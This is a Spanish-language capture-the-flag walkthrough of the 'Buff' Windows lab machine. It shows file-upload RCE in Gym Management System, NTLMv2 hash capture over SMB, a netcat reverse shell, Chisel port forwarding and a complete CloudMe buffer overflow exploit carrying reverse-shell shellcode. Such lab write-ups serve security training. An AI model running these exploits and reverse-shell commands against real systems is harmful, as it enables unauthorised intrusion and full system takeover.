Buff

Publicado: 16 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy

📝 Descripción

Buff es una máquina Windows de dificultad fácil que presenta vulnerabilidades en una aplicación web de gestión de gimnasio. La explotación inicial se basa en un exploit público para el Gym Management System v1.0, que permite la ejecución remota de código sin autenticación mediante una vulnerabilidad de subida de archivos maliciosos.

Para la escalada de privilegios, se aprovecha una vulnerabilidad de Buffer Overflow en el servicio CloudMe v1.11.2, que se ejecuta localmente en el puerto 8888. La explotación requiere el uso de port forwarding para acceder al servicio y posteriormente ejecutar un shellcode personalizado para obtener privilegios de administrador.

🎯 Objetivos de Aprendizaje

  • Explotación de vulnerabilidades en aplicaciones web

  • Técnicas de evasión de filtros de subida de archivos

  • Buffer Overflow en aplicaciones Windows

  • Port forwarding con Chisel

  • Uso de SMB para captura de hashes NTLMv2

🔭 Reconocimiento

🔍 Ping para verificación en base a TTL

❯ ping -c2 10.10.10.198                                                                                       
PING 10.10.10.198 (10.10.10.198) 56(84) bytes of data.
64 bytes from 10.10.10.198: icmp_seq=1 ttl=127 time=213 ms
64 bytes from 10.10.10.198: icmp_seq=2 ttl=127 time=68.8 ms

--- 10.10.10.198 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 68.752/140.858/212.965/72.106 ms

💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.

🚀 Escaneo de puertos

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.198 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports            
7680,8080

🔬 Enumeración de servicios

nmap -sC -sV -p$ports 10.10.10.198 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-16 09:16 CEST
Nmap scan report for 10.10.10.198
Host is up (0.042s latency).

PORT     STATE SERVICE    VERSION
7680/tcp open  pando-pub?
8080/tcp open  http       Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: mrb3n's Bro Hut
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6

🌐 Enumeración Web

🏋️ Puerto 8080 - Apache/2.4.43

URL: http://10.10.10.198:8080/

🎯 Información Relevante Encontrada

En la sección de contacto se revela:

  • Software: Gym Management System

  • Versión: v1.0

  • Esta información es crucial para buscar vulnerabilidades conocidas

Fuzzing de directorios

dirsearch -u http://10.10.10.198:8080 -x 503,404,403

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289

Target: http://10.10.10.198:8080/

[09:23:03] Scanning: 
[09:23:05] 200 -    66B - /.gitattributes
[09:23:12] 200 -    5KB - /about.php
[09:23:31] 200 -    2KB - /cgi-bin/printenv.pl
[09:23:35] 200 -    4KB - /contact.php
[09:23:39] 200 -    4KB - /edit.php
[09:23:42] 200 -    4KB - /feedback.php
[09:23:44] 200 -   143B - /home.php
[09:23:45] 301 -   341B - /img  ->  http://10.10.10.198:8080/img/
[09:23:45] 301 -   345B - /include  ->  http://10.10.10.198:8080/include/
[09:23:47] 200 -    5KB - /index.php
[09:23:47] 200 -    5KB - /index.php.
[09:23:47] 200 -    5KB - /index.php/login/
[09:23:47] 200 -    5KB - /index.pHp
[09:23:49] 200 -   18KB - /license
[09:23:49] 200 -   18KB - /LICENSE
[09:24:01] 301 -   345B - /profile  ->  http://10.10.10.198:8080/profile/
[09:24:03] 200 -   309B - /README.MD
[09:24:03] 200 -   309B - /ReadMe.md
[09:24:03] 200 -   309B - /README.md
[09:24:03] 200 -   309B - /Readme.md
[09:24:03] 200 -   309B - /readme.md
[09:24:04] 200 -   137B - /register.php
[09:24:15] 200 -   209B - /up.php
[09:24:15] 301 -   344B - /upload  ->  http://10.10.10.198:8080/upload/
[09:24:15] 301 -   344B - /Upload  ->  http://10.10.10.198:8080/Upload/
[09:24:17] 200 -   107B - /upload.php

Task Completed

📁 Análisis de Recursos Encontrados

Revisamos y analizamos cada uno de los recursos encontrados:

🔧 /edit.php - http://10.10.10.198:8080/edit.php

  • Revela Internal Path Disclosure

  • Muestra rutas internas del sistema

**📤 /upload.php ** - http://10.10.10.198:8080/register.php

  • Página de subida de archivos

  • Vulnerable - No requiere autenticación

  • Revela Internal Path Disclosure

  • Punto crítico para la explotación

📂 /upload/ - http://10.10.10.198:8080/upload/

  • Directorio de archivos subidos

  • Accesible públicamente

📖 /README.MD - http://10.10.10.198:8080/README.MD

  • Contiene información del proyecto

  • Confirma el uso de Gym Management System

🖥️ /cgi-bin/printenv.pl Script en Perl que muestra variables de entorno del servidor: http://10.10.10.198:8080/cgi-bin/printenv.pl

Parece que se trata script en perl ubicado en el directorio cgi-bin, que típicamente se usa para ejecutar scripts CGI (Common Gateway Interface) cuyo propósito es imprimir todas las variables de entorno del servidor web en la salida HTTP.

COMSPEC="C:\Windows\system32\cmd.exe"
CONTEXT_DOCUMENT_ROOT="C:/xampp/cgi-bin/"
CONTEXT_PREFIX="/cgi-bin/"
DOCUMENT_ROOT="C:/xampp/htdocs/gym"
GATEWAY_INTERFACE="CGI/1.1"
HTTP_ACCEPT="text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
HTTP_ACCEPT_ENCODING="gzip, deflate"
HTTP_ACCEPT_LANGUAGE="en-US,en;q=0.5"
HTTP_CONNECTION="keep-alive"
HTTP_COOKIE="sec_session_id=aigntd7sk9amgpclkn71puni8t"
HTTP_HOST="10.10.10.198:8080"
HTTP_PRIORITY="u=0, i"
HTTP_UPGRADE_INSECURE_REQUESTS="1"
HTTP_USER_AGENT="Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
MIBDIRS="C:/xampp/php/extras/mibs"
MYSQL_HOME="\xampp\mysql\bin"
OPENSSL_CONF="C:/xampp/apache/bin/openssl.cnf"
PATH="C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\shaun\AppData\Local\Microsoft\WindowsApps"
PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC"
PHPRC="\xampp\php"
PHP_PEAR_SYSCONF_DIR="\xampp\php"
QUERY_STRING=""
REMOTE_ADDR="10.10.14.7"
REMOTE_PORT="59286"
REQUEST_METHOD="GET"
REQUEST_SCHEME="http"
REQUEST_URI="/cgi-bin/printenv.pl"
SCRIPT_FILENAME="C:/xampp/cgi-bin/printenv.pl"
SCRIPT_NAME="/cgi-bin/printenv.pl"
SERVER_ADDR="10.10.10.198"
SERVER_ADMIN="postmaster@localhost"
SERVER_NAME="10.10.10.198"
SERVER_PORT="8080"
SERVER_PROTOCOL="HTTP/1.1"
SERVER_SIGNATURE="<address>Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6 Server at 10.10.10.198 Port 8080</address>\n"
SERVER_SOFTWARE="Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6"
SYSTEMROOT="C:\Windows"
TMP="\xampp\tmp"
WINDIR="C:\Windows"

💥 Explotación Inicial

🔎 Búsqueda de Vulnerabilidades - Gym Management System

Habíamos enumerado un servicio llamado Gym Management y vemos que la versión que se está utilizando ha presentado vulnerabilidades en el pasado y además hay exploits públicos:

Uno de los exploits permite una ejecución remota de comandos sin autenticación debido a un mal manejo en la subida de archivos.

Resultados encontrados:

  • CVE-2020-15928: Gym Management System 1.0 - Unauthenticated Remote Code Execution

  • Exploit ID: 48506

  • Tipo: Remote Code Execution sin autenticación

🔍 Detalles clave de la vulnerabilidad

  1. upload.php no exige autenticación - Cualquier usuario puede acceder

  2. Parámetro id por GET - Define el nombre del archivo a subir

  3. Validación insuficiente - Permite dobles extensiones (ej: poc.php.png)

  4. Verificación MIME débil - Solo valida cabeceras HTTP falsificables

  5. Ejecución de código PHP - Los archivos subidos pueden contener código malicioso

  6. Renombrado basado en extensión - Permite ejecución de PHP

🎯 Proceso de Explotación

  1. Subida de archivo malicioso con doble extensión

  2. Bypass de filtros mediante falsificación de MIME type

  3. Ejecución de código PHP en el servidor

  4. Acceso vía URL con parámetros GET para comandos

Descargamos y ejecutamos el exploit y vemos que nos pide definir como parámetro únicamente la URL del objetivo:

searchsploit -m php/webapps/48506.py
python2.7 48506.py
python2.7 48506.py http://10.10.10.198:8080

Resultado:Webshell obtenida exitosamente

🎯 Captura de Hash NTLMv2

Configuración del servidor SMB: Una posible vía de explotación aquí sería levantarnos en nuestro host de ataque un servidor SMB usando impacket y a continuación desde el host en el que acabamos de subir la webshell hacer una petición a un recurso obligando así al usuario de la máquina a autenticarse y obtener su hash NTLMv2, que aunque no nos permite autenticarnos haciendo pass the hash sí que podemos intentar crackearlo para obtener su contraseña:

impacket-smbserver smbShare $(pwd) -smb2support
dir \\10.10.14.7\smbShare
impacket-smbserver smbShare $(pwd) -smb2support
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.198,49884)
[*] AUTHENTICATE_MESSAGE (BUFF\shaun,BUFF)
[*] User BUFF\shaun authenticated successfully
[*] shaun::BUFF:aaaaaaaaaaaaaaaa:f59f92b8c51a40a0b6eb7d1ce9bae144:010100000000000080d1a930a4dedb019173ad02205c367900000000010010004a00590072004500720054006c004f00030010004a00590072004500720054006c004f0002001000730077007300720053004a004200730004001000730077007300720053004a00420073000700080080d1a930a4dedb01060004000200000008003000300000000000000000000000002000007f5c16b04617650dcf64a6a4994866df28c51843b9272eb0681e38aebab70e4c0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0037000000000000000000

A continuación usamos hashcat y el diccionario rockyou para crackearlo y obtener la contraseña del usuario shaun pero en este caso vemos que no nos da la contraseña:

hashcat -m 5600 -a 0  hash_shaun /usr/share/wordlists/rockyou.txt 

El hash no pudo ser crackeado

Este método no nos sirve cómo vía potencial de explotación, sin embargo, no está todo perdido. Alternativamente podemos usar el recurso SMB que hemos compartido en el cual tenemos la herramienta netcat para usarla y establecer conexión con mi host de ataque:

🐚 Reverse Shell alternativa

Primero inicio el listener con netcat en mi host de ataque:

rlwrap nc -lnvp 443  

A continuación hago una petición al recurso compartido smbShare de mi host de ataque usando netcat para conectarme al listener de mi host de ataque:

\\10.10.14.7\smbShare\nc.exe -e cmd 10.10.14.7 443 

A los pocos segundos recibo la conexión reversa confirmando así la explotación y el acceso al sistema pudiendo obtener la primera flag en el directorio Desktop del usuario shaun:

 rlwrap nc -lnvp 443                           
listening on [any] 443 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.198] 49886
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\gym\upload>whoami
whoami
buff\shaun

C:\xampp\htdocs\gym\upload>

Resultado:Shell reversa como usuario buff\shaun

C:\>dir /r /s user.txt
dir /r /s user.txt
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Desktop

16/06/2025  08:13                34 user.txt
               1 File(s)             34 bytes

🔝 Escalada de Privilegios

🔍 Enumeración del Sistema

📁 Archivos Interesantes Encontrados

Enumerando los directorios del usuario shaun encontramos lo siguiente:

📄 C:\Users\shaun\Documents\Tasks.bat

C:\Users\shaun\Documents>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Documents

16/06/2020  22:26    <DIR>          .
16/06/2020  22:26    <DIR>          ..
16/06/2020  22:26                30 Tasks.bat
               1 File(s)             30 bytes
               2 Dir(s)   9,795,010,560 bytes free
               
C:\Users\shaun\Documents>type Tasks.bat
type Tasks.bat
START C:/xampp/xampp_start.exe
C:\Users\shaun\Documents>           

📦 C:\Users\shaun\Downloads\CloudMe_1112.exe

C:\Users\shaun\Downloads>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Downloads

14/07/2020  13:27    <DIR>          .
14/07/2020  13:27    <DIR>          ..
16/06/2020  16:26        17,830,824 CloudMe_1112.exe
               1 File(s)     17,830,824 bytes
               2 Dir(s)   9,802,326,016 bytes free

🔎 Búsqueda de Vulnerabilidades - CloudMe

Buscamos información pública de este servicio así como posibles exploits y encontramos bastantes exploits relacionados con una explotación de Buffer Overflow:

🌐 Verificación del Servicio

Lo primero que necesitamos saber es si CloudMe está ejecutándose en la máquina. El puerto por defecto es el 8888. Usamos netstat -natpara confirmarlo

🔄 Port Forwarding con Chisel

Dado que este puerto no está expuesto, necesitamos hacer port forwading para poder acceder a él desde nuestro host de ataque. Para ello podemos usar chisel:

Primero descargamos chisel server en su versión para linux, ya que esta la ejecutaremos en nuestro host de ataque a modo de server:

wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz

./chisel server --reverse --port 9003
2025/06/16 13:29:53 server: Reverse tunnelling enabled
2025/06/16 13:29:53 server: Fingerprint 1O7KQZMQk2rrF/xhgzIGzX9kuLXgEKs5hnpmKR7huW8=
2025/06/16 13:29:53 server: Listening on http://0.0.0.0:8000

Ahora nos descargamos la versión para windows

wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz

La transferimos al host windows. Parece que aquí certutil da problemas así que usamos curl

python3 -m http.server 80

curl http://10.10.14.7/chisel -o chisel

Ejecutamos chisel como cliente usando el puerto 9003 que habíamos definido en el servidor chisel para hacer el redireccionamiento del puerto 8888 del host de la máquina windows al puerto 8888 de nuestro host de ataque:

chisel.exe client 10.10.14.7:9003 R:8888:localhost:8888

2025/06/16 12:45:55 client: Connecting to ws://10.10.14.7:8000
2025/06/16 12:45:56 client: Connected (Latency 46.1461ms)

💣 Desarrollo del Exploit

🎯 Generación de Shellcode

Ahora, debemos generar el payload usando el shellcode que tenemos en el exploit para que en lugar de cargar la calculadora como viene por defecto en la PoC ejecute una shell reversa, para ello usaremos msfvenom de la siguiente forma:

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -e x86 -b '\x00\x0A\x0D' -f python 

[-] Skipping invalid encoder x86
[!] Couldn't find encoder to use
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of python file: 1604 bytes
buf =  b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
buf += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
buf += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
buf += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
buf += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
buf += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
buf += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
buf += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
buf += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
buf += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
buf += b"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"
buf += b"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
buf += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0a"
buf += b"\x0e\x07\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
buf += b"\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c"
buf += b"\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5"
buf += b"\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
buf += b"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"
buf += b"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
buf += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
buf += b"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08"
buf += b"\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
buf += b"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
buf += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"

🔧 Modificación del Exploit

Exploit base: 48389.py Modificaciones realizadas:

  • Reemplazo del payload de calculadora por reverse shell

  • Configuración de IP y puerto de ataque

  • Ajuste de padding y NOPs

Exploit final:

# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC)
# Date: 2020-04-27
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86

#Instructions:
# Start the CloudMe service and run the script.

import socket

target = "127.0.0.1"

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

#msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
payload =  b""
payload += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
payload += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
payload += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
payload += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
payload += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
payload += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
payload += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
payload += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
payload += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
payload += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
payload += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
payload += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
payload += b"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
payload += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"
payload += b"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
payload += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0a"
payload += b"\x0e\x07\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
payload += b"\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c"
payload += b"\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5"
payload += b"\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
payload += b"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"
payload += b"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
payload += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
payload += b"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08"
payload += b"\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
payload += b"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
payload += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"

overrun    = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))

payload = padding1 + EIP + NOPS + payload + overrun

try:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,8888))
	s.send(payload)
except Exception as e:
	print(sys.exc_value)

🎯 Ejecución del Buffer Overflow

Iniciamos un listener en el puerto 443 de nuestro host de ataque usando netcat

nc -nlvp 443

Ejecutamos el exploit y ganamos acceso a la máquina como Administrador:

 python3 48389.py 

Resultado:Shell como NT AUTHORITY\SYSTEM

Finalmente obtenemos la flag:

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\Administrator\Desktop

18/07/2020  17:36    <DIR>          .
18/07/2020  17:36    <DIR>          ..
16/06/2020  16:41             1,417 Microsoft Edge.lnk
16/06/2025  08:13                34 root.txt
               2 File(s)          1,451 bytes
               2 Dir(s)   9,782,939,648 bytes free

C:\Users\Administrator\Desktop>type root.txt

Last updated